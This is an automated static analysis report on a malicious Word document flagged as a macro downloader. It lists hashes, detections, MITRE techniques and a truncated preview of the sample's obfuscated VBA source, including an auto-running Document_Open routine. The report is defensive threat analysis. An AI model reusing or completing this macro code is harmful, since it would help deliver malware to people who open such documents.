Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 268f466c9b95ea11…

MALICIOUS

Office (OLE)

203.9 KB Created: 2019-12-20 09:02:00 Authoring application: Microsoft Office Word First seen: 2020-04-06
MD5: fb547bdd7132283309ae80f741be2258 SHA-1: 59ec0abdfc100299104d0df2413dfc8640a6c36b SHA-256: 268f466c9b95ea119d91a254f9bda4d68db47ff10eb9119f835ebee9acb708dc
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro that is automatically executed when the document is opened. This macro likely attempts to download and execute a secondary payload, as indicated by the ClamAV detection name 'Doc.Downloader.Generic-7469465-0'. The presence of a GetObject call further suggests dynamic execution or loading of external resources. No specific family could be identified, but the behavior is consistent with a downloader.

Heuristics 6

  • ClamAV: Doc.Downloader.Generic-7469465-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7469465-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13076 bytes
SHA-256: e70494f37e1c50eff52f2e5b18f9989bc0992a8ec39f1464f8017744e7e45d9f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Erlcmaacrjkht"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Jwlvepwqwmy, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Dim Nhbvbylgmem As Boolean
Dim Cajjbivcp As Double
Audfypjyz = Vukpzfspne
Qhhaesplytvu = (Fiwvoiosfpym)
Jzaagbmxroe = 933
Dim Hlcyqiezkt As Double
Mdycrcsjzby = "Consequatur voluptatem non iusto."
Dim Oeiiqhqiyhgc As Integer
Dim Efrzghjty As Boolean
Dim Zmmvkfnjcbdv As Boolean
Lbinvrzaunei = (404)
Dim Kmugumrvemnc As Integer
Dim Ogajzfvfagcx As Double
Syrcdwyqhxbec = Vztyglnnuiwwe
Dim Exqrcfvlyxu As Integer
Dim Ciucfifgiypne As Boolean
Dim Tgatfttdoknra As Integer
Alnplmouqwgh = (Bdyvyrswbtfje)
Sqernxeapzjf = ("Bessie")
Xylxfmhpwb = (Djujbhhb)
Dim Bqhawdivo As Boolean
Neuulztld = Ultuggxc
Hoyjjbxoslyxe
   Dim Xrinidnqlq As String
Dim Bkhxacvp As Integer
Qpknowcalfaj = Qlkvaqslgvz
Gqssukfbsc = (Rnlfocsqtho)
Ojzejpnj = 256
Dim Ktmfzomxiogjc As Boolean
Sshnsybar = "Corrupti."
Dim Fwjmhfhr As Boolean
Dim Bxscgjfduf As Double
Dim Xqxgwrxitvyy As String
Ovhbclfvqvo = (665)
Dim Pvwxbumysp As String
Dim Ptsrgyttqu As Boolean
Tcvmczcrlfhnw = Ewrvgfrnrndkw
Dim Wuladyzzwsn As Double
Dim Jmevhapxyzdrb As String
Dim Zyofwujn As Double
Uzfxvcsutdfii = (Ftxvhjciuaxeh)
Azcynbka = ("Quis et magni quibusdam.")
Kwhmzqqljqalr = (Sqkwxylgpdf)
Dim Puvtuyxnuw As Double
Hsyydohilv = Dfyzpsjtkgwpu
End Sub

Attribute VB_Name = "Ykxhhqeiphnk"
Attribute VB_Base = "0{99811786-DD74-4A42-9BCA-65C97DC86D37}{7C709F61-1009-445B-992D-B64AB609621C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Nidmcturqvl"
Function Qcdlffgykm()
   Dim Wpbevfmvc As Boolean
Dim Mdpyoxnm As Integer
Tlwvbyuezof = Huyqkjavzh
Xwflbepg = (Deithrrc)
Isiepgcdsuuek = 336
Dim Bpsyjpys As String
Thqcidwsore = "Asperiores enim aperiam rerum sit doloribus sit."
Dim Vubmnyiz As Double
Dim Qfczdehjaeo As Double
Dim Lakqxlwdynoxe As String
Ktvqauax = (60)
Dim Tohhejnzv As Integer
Dim Dhloxkrroc As String
Dzgjxveldeldw = Uebxirshlkcc
Dim Frcusdiyap As Integer
Dim Fhywhriowmne As Boolean
Dim Lruyusubx As Integer
Jekmweltqm = (Pcluvmsexc)
Rdbukxdklmxm = ("Quibusdam totam dolore.")
Aibkarbh = (Jyypeilgrsusc)
Dim Tjaxdeywtl As Double
Mcvqkyel = Ofdaqvfhhfkbg
Kzwdjrnpdskn = Erlcmaacrjkht.Jwlvepwqwmy
   Dim Xbbdoppxng As Integer
Dim Ikzitzalujndq As Double
Rwzrkdwrwc = Djsahzjezwcmo
Pnoxnydxanpzv = (Cfpcxbbjfehl)
Tndieheieqyz = 968
Dim Msznsgtwwlex As String
Itgmrchz = "Michele"
Dim Reouazeypjw As Boolean
Dim Tsfbxrreg As String
Dim Zlklhjln As Boolean
Vorzvwhfh = (581)
Dim Vpmtmbkht As Boolean
Dim Louppsrgyj As Boolean
Xenbbvkyyptew = Uibfmvkddfgg
Dim Bfypsppyzim As String
Dim Nvvqtrawyxd As String
Dim Nbkwvovk As String
Vpdicwjssd = (Hiomposdhuvsc)
Cnyndqkzbqj = ("Impedit ea ducimus veritatis.")
Pflptqtbiizhr = (Atlfpige)
Dim Dgwinwfqsnc As Double
Zmtmuezfl = Yhediriar
Cqqgkgebwjqma = Kzwdjrnpdskn + Ykxhhqeiphnk.Owyaiedlavwrr + Ykxhhqeiphnk.Gcbaeextcqr + Ykxhhqeiphnk.Lwvjxbiwjz
   Dim Smdnkkwmgopk As Boolean
Dim Qsnsishsrfb As Double
Wbmrrwgn = Lsclcpqewwv
Inbjmavxmegal = (Ynacaebafgfca)
Jincdepmt = 835
Dim Qzowlqwugiwt As Boolean
Gmwcgxuwguxm = "Recusandae officia in voluptatem."
Dim Ribgpgocmiv As Integer
Dim Gvwmpfjxs As String
Dim Mpztstzyig As Integer
Hqeceeangrqnb = (878)
Dim Hhzszprtz As Integer
Dim Jsixhaexpwld As Double
Rfdvzmsjksrj = Ipwewjuh
Dim Kqjdtmveuz As Integer
Dim Nyzucaiqgy As String
Dim Pzzgguyk As Double
Kjcppywnoouy = (Fbhtyodmehntm)
Zbxjtnqrmkkus = ("Earum doloremque consequuntur est omnis minus.")
Hrxcbfmelmqyf = (Vlhponxo)
Dim Okuioukcgz As Boolean
Kmsnwlxcplvkp = Dukkdpsnur
Wgghigccbtc = Cqqgkgebwjq
... (truncated)

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